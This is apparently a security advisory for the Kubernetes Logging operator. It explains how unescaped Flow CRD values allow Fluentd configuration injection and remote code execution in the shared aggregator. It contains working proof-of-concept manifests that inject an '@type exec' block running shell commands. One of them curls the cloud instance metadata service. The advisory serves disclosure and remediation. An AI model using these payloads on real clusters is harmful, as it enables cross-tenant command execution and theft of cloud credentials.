Logging operator has Fluentd configuration injection that allows remote code execution

Summary

The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.

In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.

Details

The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87

Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.

One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103

The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.

PoC

The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.

First, create a minimal Output as the log destination.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
  name: sink
  namespace: tenant-a
spec:
  nullout: {}

Next, create a Flow whose record_transformer.records value contains an injected @type exec block.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: exfil
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "id > /tmp/pwned"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.

kubectl apply -f output.yaml -f flow.yaml

kubectl -n <control-namespace> get secret <logging>-fluentd-app \
  -o go-template='{{ index .data "fluentd.conf" }}' \
  | base64 -d | grep -A8 '@type exec'

When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.

kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)

Impact

This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator. Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.

In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: imds-poc
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink